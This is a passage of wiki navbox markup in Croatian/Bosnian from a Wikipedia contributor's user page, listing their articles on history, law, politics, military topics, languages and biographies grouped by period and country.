Kubi]] • [[Tellerov amandman]] • [[Pariški sporazum (1898)]] • [[Novi Zeland (kolonija)]] • [[Ratovi mušketa]] • [[Novozelandski ratovi]] • [[Sewellovo ministarstvo (1856.)]] • [[Vrhovna hunta]] • [[Prva Venezuelanska Republika]] • [[Venezuelanski rat za nezavisnost]] ([[Bitka na jezeru Maracaibo]]) • [[Druga Venezuelanska Republika]] • [[Manifest iz Cartagene]] • [[Divna kampanja]] • [[Dekret o ratu do smrti]] • [[Treća Venezuelanska Republika]] • [[Kongres u Angosturi]] • [[Datoteka:LinkFA-star.png|14px]] [[Velika Kolumbija]] • [[Država Venezuela]] • [[Savezni rat]] • [[Sjedinjene Države Venezuele]] • [[Venezuelanska kriza (1895)]] • [[Francuski protektorat u Kambodži]] • [[Tonkin (francuski protektorat)]] • [[Comayagua (provincija)]] • [[Državni udar u Hondurasu 1827.]] • [[Prvi francusko-dahomejski rat]] • [[Drugi francusko-dahomejski rat]] • [[Francuski Dahomej]] • [[Datoteka:LinkFA-star.png|14px]] [[Francuska Zapadna Afrika]] • [[Kraljevstvo Fidži]] • [[Fidži (kolonija)]] • ''[[Ärkamisaeg]]'' • [[Singapurski sporazum 1819.]] • [[Datoteka:LinkFA-star.png|14px]] [[Tjesnačka naselja]] • [[Anglo-nizozemski sporazum (1824)]] |group3 = XX. vijek<br>(do 1914.) |list3 = [[Plattov amandman]] • [[Republika Kuba (1902–1959)]] • [[Pacifikacija Kube]] • [[Novi Zeland (dominion)]] • [[Venezuelanska kriza (1902–1903)]] • [[Nizozemsko-venezuelanski rat]] }} |group2 = Prvi svjetski rat<br>(1914. - 1918.) |list2 = {{Navbox subgroup | groupstyle = text-align:center; color:#800000; background:#C19A6B; border:1px solid #800000; |group1 = Općenito |list1 = [[Prvi svjetski rat]] • [[Središnje sile]] |group2 = Bitke |list2 = [[Bitka kod Tannenberga (1914.)|Bitka kod Tannenberga]] • [[Cerska bitka]] • [[Kolubarska bitka]] • [[Ofenziva od 100 dana]] • [[Druga bitka na Marni]] • [[Ofenziva Meuse-Argonne]] • [[Bitka na granicama]] • [[Nivelleova ofenziva]] • [[Bitka kod grebena Vimy]] |group3 = Ostalo |list3 = [[Sarajevski atentat]] • [[Oktobarska revolucija]] • [[Mir u Brest-Litovsku]] • [[Ruska revolucija (1917.)|Ruska revolucija 1917.]] • [[Britanski Togoland]] • ''[[Entente Cordiale]]'' • [[Francusko-ruska alijansa]] • [[Anglo-ruska antanta]] • [[Sovjetska Republika Naissaar]] • [[Manifest narodā Estonije]] • [[Njemačka okupacija Estonije u Prvom svjetskom ratu]] • [[Singapurska pobuna 1915.]] }} |group3 = Međuratno razdoblje<br>(1918. - 1939.) |list3 = [[Pariška mirovna konferencija 1919.]] • [[Münchenski sporazum]] • [[Abdikacijska kriza]] • [[Ugovori iz Locarna]] • [[Briand-Cerettijev sporazum]] • [[Briand-Kelloggov pakt]] • [[Kriza 6. veljače 1934.]] • [[Predsjednički izbori u Brazilu 1930.]] • [[Brazilska revolucija 1930.]] • [[Privremena vojna junta (1930)]] • [[Vargasova era]] • [[Pentarhija iz 1933.]] • [[Datoteka:LinkFA-star.png|14px]] [[Estonski rat za nezavisnost]] • [[Estonska radnička komuna]] • [[Rusko-estonski sporazum iz Tartua]] • [[Vaps (pokret)]] • [[Pokušaj državnog udara u Estoniji 1924.]] • [[Suđenje 149-orki]] • [[Baltička antanta]] • [[Doba šutnje]] |group4 = Drugi svjetski rat<br>(1939. - 1945.) |list4 = {{Navbox subgroup | groupstyle = text-align:center; color:#800000; background:#C19A6B; border:1px solid #800000; |group1 = Općenito |list1 = [[Drugi svjetski rat]] • [[Uzroci Drugog svjetskog rata]] • [[Saveznici]] • [[Sile Osovine]] • [[Posljedice Drugog svjetskog rata]] |group2 = Bitke |list2 = [[Operacija Bagration]] • [[Bitka za Francusku]] • [[Bitka kod La Plate]] • [[Saveznička invazija Sicilije]] • [[Operacija Anton|Operacija ''Anton'']] • [[Operacija Dragoon|Operacija ''Dragoon'']] • [[Praški ustanak]] • [[Ljetni rat]] • [[Bitka za Singapur]] • [[Operacija Jaywick|Operacija ''Jaywick'']] • [[Bombardiranje Singapura (1944–1945)]] • [[Bombardiranje Singapura (1941)]] • [[Operacija Tiderace|Operacija ''Tiderace'']] • [[Operacija Struggle|Operacija ''Struggle'']] |group3 = Ostalo |list3 = [[Schindlerovi židovi]] • [[Hitlerov pozdrav]] • [[Operacija Valkira]] • [[Vichyevska Francuska]] • [[Republika Slovačka (1939. - 1945.)]] • [[Riomski proces]] • [[Glasovanje o delegaciji punih ustavnih ovlasti Philippeu Pétainu]] • [[Njemačka vojna uprava u Belgiji i sjevernoj Francuskoj]] • [[Njemačka vojna uprava u okupiranoj Francuskoj]] • ''[[Militärverwaltung]]'' • [[Slobodna Francuska]] • [[Apel 18. juna]] • [[Privremena vlada Francuske Republike]] • [[Čehoslovačka vlada u egzilu]] • [[Datoteka:LinkFA-star.png|14px]] [[Benešovi dekreti]] • [[Japanska okupacija Kambodže]] • [[Njemačka okupacija Estonije u Drugom svjetskom ratu]] • ''[[Generalbezirk Estland]]'' • [[Estonska samouprava]] • [[Reichskommissariat Ostland|''Reichskommissariat'' Ostland]] • [[Bijeg podmornice Orzeł|Bijeg podmornice ''Orzeł'']] • [[Shōnan-tō]] • [[Datoteka:LinkFA-star.png|14px]] [[Sook Ching]] • [[Sōjūsetsu incident]] • [[Operacija Gustavus|Operacija ''Gustavus'']] • [[Operacija Zipper|Operacija ''Zipper'']] • [[Britanska vojna uprava (Malaja)]] }} |group5 = Hladni rat<br>(1945. - 1991.) |list5 = [[Datoteka:LinkFA-star.png|14px]] [[Hladni rat]] • [[Elizejski ugovor]] • [[Nixonov posjet Kini 1972.]] • [[Angolski građanski rat]] • [[Trumanova doktrina]] • [[Socijalistička Republika Rumunjska]] • [[Datoteka:LinkFA-star.png|14px]] [[Demokratska Kampućija]] • [[Zapadna Njemačka]] • [[Kostarikanski građanski rat]] • [[Gana (krunska zemlja)]] • [[Neredi u Accri 1948.]] • [[Velika šestorica (Gana)]] • [[Politika bijele Australije]] • [[Ustavna kriza u Australiji 1975.]] • [[Četvrta Francuska Republika]] • [[Peta Francuska Republika]] • [[Maj 1968]] • [[Druga Brazilska Republika]] • [[Državni udar u Brazilu 1964.]] • [[Vojna diktatura u Brazilu]] • [[Brazilska vojna hunta (1969)]] • [[Narodna Republika Koreja]] • [[Sovjetska civilna uprava]] • [[Privremeni narodni komitet za Sjevernu Koreju]] • [[Korejska demilitarizirana zona]] • [[Bitka za Incheon]] • [[Operacija Pokpoong]] • [[Podjela Koreje]] • [[Korejski sporazum o primirju]] • [[Bombaški napad u Rangoonu]] • [[Ubojstva sjekirom u P'anmunjŏmu]] • [[Kasarne Moncada]] • [[Operacija Mongoose]] • [[Operacija Northwoods]] • [[Cubana de Aviación let 455]] • [[Narodna Republika Angola]] • [[Demokratska Narodna Republika Angola]] • [[Republika Cabinda]] • [[Angolski rat za nezavisnost]] • [[Alvorski sporazum]] • [[Češka i Slovačka Federativna Republika]] • [[ANZUS]] • [[Paktomanija]] • ''[[El Trienio Adeco]]'' • [[Četvrta Venezuelanska Republika]] • [[Pakt iz Puntofija]] • [[Državni udar u Venezueli 1958.]] • [[Državni udar u Venezueli 1945.]] • [[Francuska unija]] • [[Francuska zajednica]] • [[Kraljevina Kambodža (1953–1970)]] • [[Bangkoška zavjera]] • [[Operacija Menu]] • [[Operacija Freedom Deal]] • [[Državni udar u Kambodži 1970.]] • [[Kmerska Republika]] • [[Predsjednički izbori u Kambodži 1972.]] • [[Predstavnička skupština kampućijskog naroda]] • [[Santebal]] • [[Datoteka:LinkFA-star.png|14px]] [[Kambodžanski genocid]] ([[Kambodžanska polja smrti]] • [[Drvo smrti]] • [[Choeung Ek]] • [[Masakr u Ba Chúcu]]) • [[Narodna Republika Kampućija]] • [[Plan K5]] • [[Država Kambodža]] • [[Kambodžansko-vijetnamski rat]] • [[Koalicijska vlada Demokratske Kampućije]] • [[Pariški mirovni sporazum (1991)]] • [[Državni udar u Hondurasu 1963.]] • [[Državni udar u Hondurasu 1975.]] • [[Honduraška vojna hunta (1956–1957)]] • [[Datoteka:LinkFA-star.png|14px]] [[Fudbalski rat]] • [[Sahelsko-beninska unija]] • [[Republika Dahomej]] • [[Državni udar u Dahomeju 1963.]] • [[Predsjedničko vijeće (Dahomej)]] • [[Predsjednički izbori u Dahomeju 1970.]] • [[Državni udar u Dahomeju 1972.]] • [[Narodna Republika Benin]] • [[Pokušaj državnog udara u Beninu 1977.]] • [[Fidži (dominion)]] • [[Državni udari na Fidžiju 1987.]] • [[Operacija Morris Dance]] • [[Datoteka:LinkFA-star.png|14px]] [[Estonska vlada u egzilu]] • [[Deklaracija suvereniteta Estonske SSR]] • [[Datoteka:LinkFA-star.png|14px]] [[Raspjevana revolucija]] • [[Fosforitni rat]] • [[Pismo četrdesetorice]] • [[Surinam (Kraljevina Nizozemska)]] • [[Državni udar u Surinamu 1980.]] • [[Nacionalni vojni savjet (Surinam)]] • [[Decembarska ubojstva]] • [[Surinamski unutrašnji rat]] • [[Masakr u Moiwani]] • [[Državni udar u Surinamu 1990.]] • [[Singapur (kolonija)]] • [[Singapur (savezna država)]] • [[Malezijski sporazum]] • [[Sporazum o nezavisnosti Singapura (1965)]] • [[Proglašenje Singapura]] • [[Referendum o integraciji Singapura 1962.]] • [[Izvanredno stanje u Poljskoj]] |group6 = 1990-e<br>XXI. vijek |list6 = [[Crno proljeće (Kuba)]] • [[Opći izbori u Angoli 1992.]] • [[Masakr na Noć vještica]] • [[Pokušaji državnih udara u Venezuel 1992.]] • [[Bolivarska revolucija]] • [[Pokušaj državnog udara u Venezueli 2002.]] • [[Prijelazna uprava Ujedinjenih nacija u Kambodži|UNTAC]] • [[Privremena vlada nacionalnog jedinstva i nacionalnog spasa Kambodže]] • [[Ustavna kriza u Hondurasu 2009.]] • [[Državni udar u Hondurasu 2009.]] • [[UTAGE let 141]] • [[Državni udar na Fidžiju 2000.]] • [[Državni udar na Fidžiju 2006.]] • [[Prosvjedi u Surinamu 1999.]] }} |group2 = Pravo<br>Kriminologija |group2style = text-align:center; color:black; background:silver; border:1px solid black; |list2= [[Scotland Yard]] • [[Old Bailey]] • ''[[Volksgerichtshof]]'' • [[Vrhovni sud Kostarike]] • [[Vrhovni sud Gane]] • [[Ustav Australije]] • [[Ustav Gane]] • [[Ustav Francuske (1791)]] • [[Ustav Francuske (1793)]] • [[Ustav Francuske (1795)]] • [[Ustav Francuske (1799)]] • [[Ustav Francuske (1802)]] • [[Ustav Francuske (1804)]] • [[Povelja iz 1814.]] • [[Dopunski akt ustavima Prvog Carstva]] • [[Povelja iz 1830.]] • [[Ustav Francuske (1848)]] • [[Ustav Francuske (1852)]] • [[Francuski ustavni zakoni (1875)]] • [[Ferryjevi zakoni]] • [[Francuski ustavni zakon (1940)]] • [[Francuski ustavni zakon (1945)]] • [[Ustav Francuske (1946)]] • [[Ustav Francuske]] • [[Ustav Brazila]] • [[Ustav Sjeverne Koreje]] • [[Ustav Kube]] • [[Bustamanteov kodeks]] • [[Ustav Angole]] • [[Ustavni sud (Češka)]] • [[Macdonaldova trijada]] • [[Vrhovni sud Novog Zelanda]] • [[Ustav Novog Zelanda]] • [[Panoptikon]] • [[Deklaracija nezavisnosti Novog Zelanda]] • [[Sporazum iz Waitangija]] • [[Vrhovni sud pravde (Venezuela)]] • [[Ustav Venezuele]] • [[Deklaracija nezavisnosti (Venezuela)]] • [[Ustav Kambodže]] • [[Kambodžanski tribunal]] • [[Ustav Hondurasa]] • [[Vrhovni sud pravde (Honduras)]] • [[Ustav Benina]] • [[Kvazisud]] • ''[[modus operandi]]'' • [[Ustav Fidžija]] • [[Zakon o pomirbi, toleranciji i jedinstvu]] • [[Ustav Estonije]] • [[Ustav Surinama]] • [[Vrhovni sud Singapura]] • [[Ustav Paname]] • [[Vrhovni sud pravde (Panama)]] |group3 = Politika |group3style = text-align:center; color:white; background: black; border:1px solid silver; |list3= {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1 = Općenito |list1 = [[Nacizam]] • ''[[Révolution nationale]]'' • [[Koronelizam]] • ''[[Juche]]'' • ''[[Songun]]'' • ''[[Songbun]]'' • [[Neutralna država]] • [[Čavizam]] • [[Nulta godina (Kambodža)|Nulta godina]] • ''[[Françafrique]]'' • ''[[Corregimiento]]'' • ''[[Comarca]]'' |group2 = Posebno |list2 = [[Popis njemačkih ministara obrane]] • [[Premijer Ujedinjenog Kraljevstva]] • [[Hitlerov kabinet]] • [[Premijer Japana]] • ''[[Kokkai]]'' • [[Nacionalna stranka oslobođenja (Kostarika)|PLN]] • [[Stranka građanske akcije|PAC]] • [[Libertarijanski pokret|ML]] • [[Predsjednik Kostarike]] • [[Zakonodavna skupština (Kostarika)]] • [[Predsjednik Gane]] • [[Premijer Gane]] • [[Stranka narodne konvencije|CPP]] • [[Parlament Gane]] • [[Državni savjet (Gana)]] • [[Premijer Australije]] • [[Parlament Australije]] • [[Generalni guverner Australije]] • [[Premijer Francuske]] • [[Predsjednik Francuske]] • [[Francuski parlament]] • [[Senat (Francuska)]] • [[Narodna skupština (Francuska)]] • [[Kongres Francuskog parlamenta]] • [[Predsjednik Brazila]] • ''[[Congresso Nacional]]'' • ''[[Senado Federal]]'' • ''[[Câmara dos Deputados]]'' • [[Premijer Brazila]] • [[Vječni predsjednik republike]] • [[Vrhovna narodna skupština]] • [[Premijer Sjeverne Koreje]] • [[Administrativna podjela Sjeverne Koreje]] • [[Spisak vrhovnih vođa Sjeverne Koreje]] • [[Spisak državnih poglavara Sjeverne Koreje]] • ''[[Ch'ŏndogyo Ch'ŏngudang]]'' • [[Predsjednik Kube]] • [[Premijer Kube]] • [[Nacionalna skupština narodne sile]] • [[Predsjednik Angole]] • [[Potpredsjednik Angole]] • [[Premijer Angole]] • [[Narodna skupština (Angola)]] • [[Generalni guverner Novog Zelanda]] • [[Premijer Novog Zelanda]] • [[Parlament Novog Zelanda]] • [[Predstavnički dom (Novi Zeland)]] • [[Zakonodavno vijeće (Novi Zeland)]] • [[Laburistička stranka Novog Zelanda]] • [[Zelena stranka Aotearoe Novog Zelanda]] • [[Prvo Novi Zeland]] • [[Kolonijalni tajnik Novog Zelanda]] • [[Predsjednik Venezuele]] • [[Narodna skupština (Venezuela)]] • [[Demokratska akcija (Venezuela)]] • [[Parlament Kambodže]] • [[Senat (Kambodža)]] • [[Narodna skupština (Kambodža)]] • [[Kralj Kambodže]] • [[Premijer Kambodže]] • [[Liberalna stranka (Kambodža)]] • [[Demokratska stranka (Kambodža)]] • [[Sangkum]] • [[Komunistička partija Kampućije]] • [[Nacionalni kongres (Honduras)]] • [[Predsjednik Hondurasa]] • [[Narodna skupština (Benin)]] • [[Predsjednik Benina]] • [[Premijer Benina]] • [[Conseil de l'Entente]] • [[Partija narodne revolucije Benina]] • [[Predsjednik Fidžija]] • [[Premijer Fidžija]] • [[Parlament Fidžija]] • [[Senat (Fidži)]] • [[Predstavnički dom (Fidži)]] • [[Veliko vijeće poglavica]] • [[Guverner Fidžija]] • [[Generalni guverner Fidžija]] • [[Administrativna podjela Fidžija]] • [[Premijer Kraljevstva Fidži]] • [[Ratu]] • [[Glavni ministar Fidžija]] • [[Zakonodavno vijeće (Fidži)]] • ''[[Riigikogu]]'' • [[Premijer Estonije]] • ''[[Riigihoidja]]'' • [[Komunistička partija Estonije]] • [[Predsjednik Surinama]] • [[Potpredsjednik Surinama]] • [[Premijer Surinama]] • [[Narodna skupština (Surinam)]] • [[Generalni guverner Surinama]] • [[Parlament Singapura]] • [[Predsjednik Singapura]] • [[Premijer Singapura]] • [[Stranka narodne akcije]] • [[Singapurska samouprava]] • [[Guverner Singapura]] • [[Yang di-Pertuan Negara]] • [[Zakonodavno vijeće (Singapur)]] • [[Zakonodavna skupština (Singapur)]] • [[Glavni ministar Singapura]] • [[Narodna skupština (Panama)]] • [[Narodna skupština predstavnika corregimienta|Narodna skupština predstavnika ''corregimienta'']] • [[Predsjednik Paname]] • [[Corregimiento (Panama)|''Corregimiento'' (Panama)]] }} |group4 = Vojna znanost |group4style = text-align:center; color:#556B2F; background:#6B8E23; border:1px solid #556B2F; |list4= [[Regia Marina]] • [[Royal Navy]] • [[Vojska Kostarike]] • ''[[Maréchal de France]]'' • ''[[École spéciale militaire de Saint-Cyr]]'' • [[Korejska narodna armija]] • [[USS Pueblo (AGER-2)]] • ''[[Movimiento 26 de Julio]]'' • [[Oružane snage Angole]] • [[Kubanske revolucionarne oružane snage]] • ''[[Generalissimus]]'' • [[Khmer Issarak]] • [[Dahomejske Amazonke]] • [[Oružane snage Republike Fidži]] • ''[[Junglecommando]]'' • [[Singapurska strategija]] • ''[[Kenpei]]'' |group5 = Lingvistika |group5style = text-align:center; color:black; background: white; border:1px solid black; |list5 = [[Joruba jezik]] • [[Fon jezik]] • [[Fidžijski jezik]] • [[Fidžijski hindski jezik]] • [[Rotumanski jezik]] |group6 = Ostalo |group6style = text-align:center; color:#808080; background: #DCDCDC; border:1px solid #808080; |list6= [[Kultura Sovjetskoga Saveza]] • [[Centar za obiteljske evidencije]] • [[Stair House]] • [[David Livingstone Centre]] • [[Psihijatrijska bolnica Broadmoor]] • [[The Blind Beggar]] • [[Oni (folklor)]] • ''[[Hanami]]'' • [[Tri mudra majmuna]] • ''[[The Strand Magazine]]'' • [[221B Baker Street]] • [[Museo Nacional de Costa Rica]] • [[Mekatelyu]] • [[Nacionalni park Tortuguero]] • [[Nacionalni park Poás]] • [[Waakye]] • [[Ganci]] • [[Sveučilište u Adelaideu]] • [[Sveučilište u Melbourneu]] • [[Marianne]] • [[Čudovište iz Rajskog jezera]] • ''[[Rodong Sinmun]]'' • [[Korejska centralna novinska agencija]] • [[Festival Arirang]] • [[Vargaška tragedija]] • [[Kambodžanski riel]] • [[Novi ljudi]] • [[Nacionalni autonomni univerzitet Hondurasa]] • [[Naša Gospa od Suyape]] • [[Zapadnoafrički CFA franak]] • [[Srednjoafrički CFA franak]] • [[Chupa Chups]] • [[Univerzitet na Fidžiju]] • [[Fidžijski dolar]] • [[Nacionalni park Sigatoka Sand Dunes]] • ''[[Cibi]]'' • [[Estonska marka]] • ''[[Postimees]]'' • [[Zastava Estonske Sovjetske Socijalističke Republike]] • [[Surinamski dolar]] • [[Surinamski gulden]] • [[Planska područja u Singapuru]] • [[Regije Singapura]] • [[Japanski okupacijski dolar]] • [[Panamska balboa]] • ''[[Shinjū]]'' |below= }} ===Biografije=== {{Navbox generic |titlestyle = text-align:center; color:#808080; background: #DCDCDC; border:1px solid #808080; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi vezani uz društvene znanosti |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:#702963;background:#DF73FF; border:1px solid #702963; |belowstyle= text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |groupstyle = text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |above= |group1 = Povijest |group1style = text-align:center; color:#800000; background:#C19A6B; border:1px solid #800000; |list1= [[Slavko Goldstein]] |group2 = Pravo<br>Kriminologija |group2style = text-align:center; color:black; background:silver; border:1px solid black; |list2= {{Navbox subgroup | groupstyle = text-align:center; color:black; background:silver; border:1px solid black; |group1 = Pravo |list1 = [[Datoteka:LinkFA-star.png|14px]] [[Roland Freisler]] • [[Clarence Darrow]] • [[Moisés Vieites]] • [[Antonio Sánchez de Bustamante y Sirvén]] |group2 = Kriminologija |list2 = [[Vlado Černozemski]] • [[Datoteka:LinkFA-star.png|14px]] [[Braća Kray]] • [[George Cornell]] • [[Jack McVitie]] • [[Datoteka:LinkFA-star.png|14px]] [[Leopold i Loeb]] • [[Datoteka:LinkFA-star.png|14px]] [[Jack Trbosjek]] ([[:Kategorija:Jack Trbosjek|kategorija /uz izuzetke/]]) • [[Igor Guzenko]] • [[Issei Sagawa]] • [[Charles Augustus Howell]] • [[Charlotte Corday]] • [[Charles-Henri Sanson]] • [[Felice Orsini]] • [[Sante Geronimo Caserio]] • [[Leonard Read]] • [[Sogomon Tejlirjan]] }} |group3 = Politika |group3style = text-align:center; color:white; background: black; border:1px solid silver; |list3= {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1 = Amerike |list1 = {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1 = {{flagicon|SAD}} Sjedinjene Države |list1 =[[Datoteka:LinkFA-star.png|14px]] [[Harry S. Truman]] • [[William H. Seward]] • [[William Jennings Bryan]] • [[Harvey Milk]] • [[Dan White]] • [[George Moscone]] • [[Frank B. Kellogg]] • [[Fiorello H. La Guardia]] |group2 = {{flagicon|KAN}} Kanada |list2= [[Lester B. Pearson]] • [[Pierre Trudeau]] |group3 = {{flagicon|Kostarika}} Kostarika |list3= [[Juan Mora Fernández]] • [[José María Castro Madriz]] • [[Federico Tinoco Granados]] • [[Otilio Ulate Blanco]] • [[José Figueres Ferrer]] • [[Rafael Ángel Calderón Guardia]] • [[Laura Chinchilla]] • [[Óscar Arias]] |group4 = {{flagicon|Brazil}} Brazil |list4= [[Deodoro da Fonseca]] • [[Pedro I od Brazila]] • [[Pedro II od Brazila]] • [[Arthur Bernardes]] • [[Venceslau Brás]] • [[Washington Luís]] • [[Júlio Prestes]] • [[Getúlio Vargas]] • [[Plínio Salgado]] • [[João Goulart]] • [[Humberto Castelo Branco]] • [[Artur da Costa e Silva]] • [[Ernesto Geisel]] |group5 = {{flagicon|Kuba}} Kuba |list5= [[Carlos Saladrigas Zayas]] • [[Ramón Zaydín]] • [[Anselmo Alliegro y Milá]] • [[Félix Lancís Sánchez]] • [[Tomás Estrada Palma]] • [[Ramón Grau]] • [[Gerardo Machado]] • [[Camilo Cienfuegos]] |group6 = {{flagicon|Venezuela}} Venezuela |list6= [[José Antonio Páez]] • [[Cristóbal Mendoza]] • [[Francisco de Miranda]] • [[Rómulo Gallegos]] • [[Rafael Urdaneta]] • [[Juan Vicente Gómez]] • [[Cipriano Castro]] • [[Rafael Caldera]] • [[Datoteka:LinkFA-star.png|14px]] [[Rómulo Betancourt]] |group7 = {{flagicon|HON}} Honduras |list7= [[Juan Orlando Hernández]] • [[Dionisio de Herrera]] • [[Francisco Morazán]] • [[José Francisco Zelaya]] • [[Francisco Ferrera]] • [[Ramón Villeda Morales]] • [[Julio Lozano Díaz]] • [[Oswaldo López Arellano]] • [[Juan Alberto Melgar]] • [[Manuel Zelaya]] • [[Roberto Micheletti]] |group8 = {{flagicon|SUR}} Surinam |list8= [[Chan Santokhi]] • [[Ronnie Brunswijk]] • [[Johan Ferrier]] • [[Henck Arron]] • [[Dési Bouterse]] |group9 = {{flagicon|PAN}} Panama |list9= [[José Raúl Mulino]] }} |group2 = Europa |list2= {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1={{flagicon|UK}} Ujedinjeno Kraljevstvo |list1=[[Edward VIII.]] • [[George VI.]] • [[Herbert Henry Asquith]] • [[Clement Attlee]] • [[Tom Driberg]] • [[Robert Boothby, baron Boothby]] • [[Arnold Wienholt Hodson]] • [[Spencer Perceval]] • [[Stamford Raffles]] |group2 = {{flagicon|SSSR}} Sovjetski Savez |list2 = [[Nikita Hruščov]] • [[Jurij Andropov]] • [[Konstantin Černjenko]] • [[Andrej Gromijko]] • [[Vjačeslav Molotov]] {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1 = {{flagicon|RUS}} Rusija |list1 = [[Boris Jeljcin]] |group2 = {{flagicon|GRU}} Gruzija |list2 = [[Eduard Ševarnadze]] |group3 = {{flagicon|EST}} Estonija |list3 = [[Jaan Anvelt]] • [[Karl Kark]] • [[Konstantin Päts]] • [[Jaan Tõnisson]] • [[Kaarel Eenpalu]] • [[Jüri Uluots]] • [[Hjalmar Mäe]] • [[Johannes Vares]] • [[Jüri Ratas]] • [[Alar Karis]] • [[Johannes Käbin]] • [[Edgar Savisaar]] }} |group3 = {{flagicon|FRA}} Francuska |list3 = [[Charles de Gaulle]] • [[Philippe de Gaulle]] • [[Pierre Laval]] • [[Adolphe Thiers]] • [[Louis Barthou]] • [[Jean Monnet]] • [[Philippe d'Orléans, grof od Pariza|Philippe d'Orléans]] • [[Emmanuel Joseph Sieyès]] • [[Roger Ducos]] • [[Jean-Paul Marat]] • [[Louis Antoine de Saint-Just]] • [[Camille Desmoulins]] • [[Joséphine de Beauharnais]] • [[Joseph Fouché]] • [[Lucien Bonaparte]] • [[Élisa Bonaparte]] • [[Louis Bonaparte]] • [[Napoléon Louis Bonaparte]] • [[Jérôme Bonaparte]] • [[François Guizot]] • [[Lazare Carnot]] • [[Louis-Mathieu Molé]] • [[Victor de Broglie (1785–1870)|Victor de Broglie]] • [[Louis Blanc]] • [[Alexis de Tocqueville]] • [[Louis Eugène Cavaignac]] • [[Eugénie de Montijo]] • [[Napoléon Eugène Louis Bonaparte]] • [[Louis Jules Trochu]] • [[Patrice de Mac Mahon]] • [[Louis Auguste Blanqui]] • [[Léon Gambetta]] • [[Marie François Sadi Carnot]] • [[Jules Grévy]] • [[Albert de Broglie]] • [[Jules Armand Dufaure]] • [[William Henry Waddington]] • [[Jules Ferry]] • [[Jean Casimir-Perier]] • [[Charles Dupuy]] • [[Félix Faure]] • [[Émile Loubet]] • [[Raymond Poincaré]] • [[Aristide Briand]] • [[Paul Deschanel]] • [[Alexandre Millerand]] • [[Gaston Doumergue]] • [[Paul Doumer]] • [[Édouard Herriot]] • [[Pierre-Étienne Flandin]] • [[André Tardieu]] • [[Édouard Daladier]] • [[Albert Lebrun]] • [[André Maginot]] • [[Léon Blum]] • [[Vincent Auriol]] • [[René Coty]] • [[Alain Poher]] • [[Valéry Giscard d'Estaing]] |group4 = {{flagicon|NJE}} Njemačka |list4 = [[Konrad Adenauer]] (suradnja) {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1 = {{flagicon|NJE|empire}} Njemačko Carstvo |list1 = |group2 = {{flagicon|NJE}} Weimarska Republika |list2 = [[Wilhelm Cuno]] • [[Gustav Stresemann]] • [[Wilhelm Marx]] • [[Joseph Wirth]] • [[Philipp Scheidemann]] • [[Gustav Bauer]] • [[Konstantin Fehrenbach]] • [[Hans Luther]] • [[Hugo Haase]] • [[Kurt von Schleicher]] |group3 = {{flagicon|NJE|Nazi}} Treći Reich |list3 = [[Heinrich Himmler]] • [[Lutz Graf Schwerin von Krosigk]] • [[Martin Bormann]] • [[Datoteka:LinkFA-star.png|14px]] [[Joseph Goebbels]] • [[Edmund Veesenmayer]] • [[Datoteka:LinkFA-star.png|14px]] [[Hermann Göring]] • [[Walther Funk]] • [[Datoteka:LinkFA-star.png|14px]] [[Reinhard Heydrich]] • [[Karl-Siegmund Litzmann]] • [[Datoteka:LinkFA-star.png|14px]] [[Alfred Rosenberg]] |group4 = {{flagicon|DDR}} Istočna Njemačka |list4 = [[Walter Ulbricht]] }} |group5 = {{flagicon|ITA}} Italija |list5 = [[Giovanni Giolitti]] |group6 = {{flagicon|ŠPA}} Španjolska |list6 = [[Francisco Franco]] |group7 = {{flagicon|POLJ}} Poljska |list7 = [[Wojciech Jaruzelski]] • [[Bronisław Komorowski]] |group8 = {{flagicon|ŠVE}} Švedska |list8 = [[Olof Palme]] |group9 = {{flagicon|AUT}} Austrija |list9 = [[Karl Renner]] |group10 = {{flagicon|GRČ}} Grčka |list10 = [[Ioannis Metaxas]] |group12 = {{flagicon|Austro-Ugarska}} Austro-Ugarska |list12 = [[Marija Terezija|Maria Theresia]] • [[Josip II., car Svetog Rimskog Carstva|Joseph II.]] • [[Leopold II., car Svetog Rimskog Carstva|Leopold II.]] • [[Karlo VI., car Svetog Rimskog Carstva|Karl VI.]] • [[Franjo I., car Svetog Rimskog Carstva|Franz I.]] • [[Franjo II., car Svetog Rimskog Carstva|Franz II.]] • [[Ferdinand I. Austrijski|Ferdinand I.]] • [[Franjo Josip I.|Franz Joseph I.]] (dopuna) • [[Aleksandar Drašković]] • [[Sofija Chotek]] • [[Marie-Louise od Austrije]] |group13 = {{flagicon|SRB}} Srbija |list13 = [[Ilija Garašanin]] • [[Milan Nedić]] • [[Aleksandar I. Karađorđević]] |group14 = {{flagicon|MAĐ}} Mađarska |list14 = [[Lajos Kossuth]] • [[Károly Khuen-Héderváry]] • [[Miklós Horthy]] |group15 = {{flagicon|FIN}} Finska |list15 = [[Jaana Pelkonen]] • [[Carl Gustaf Emil Mannerheim]] |group16 = {{flagicon|RUM}} Rumunjska |list16 = [[Ion Antonescu]] • [[Nicolae Ceauşescu]] |group17 = {{flagicon|ČEŠ}} Češka |list17 = [[Datoteka:LinkFA-star.png|14px]] [[Edvard Beneš]] }} |group3= Azija i<br>Oceanija |list3= [[Kir Mlađi]] {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1 = {{flagicon|JAP}} Japan |list1 = [[Hirohito]] • [[Itō Hirobumi]] • [[Hideki Tōjō]] • [[Hara Takashi]] • [[Tsuyoshi Inukai]] • [[Keisuke Okada]] • [[Fumio Gotō]] • [[Yasuo Fukuda]] • [[Eisaku Satō]] • [[Car Taishō]] • [[Minamoto no Yoritomo]] • [[Yasuhiro Nakasone]] |group2 = {{flagicon|Kina}} Kina |list2 = [[Pu Yi]] |group3 = {{flagicon|VIJ}} Vijetnam |list3 = [[Hồ Chí Minh]] • [[Lê Đức Thọ]] |group4 = {{flagicon|Tajvan}} Republika Kina/Tajvan |list4 = [[Sun Jat-sen]] • [[Chiang Kai-shek]] |group5 = {{flagicon|Indija}} Indija |list5 = [[Jawaharlal Nehru]] |group6 = 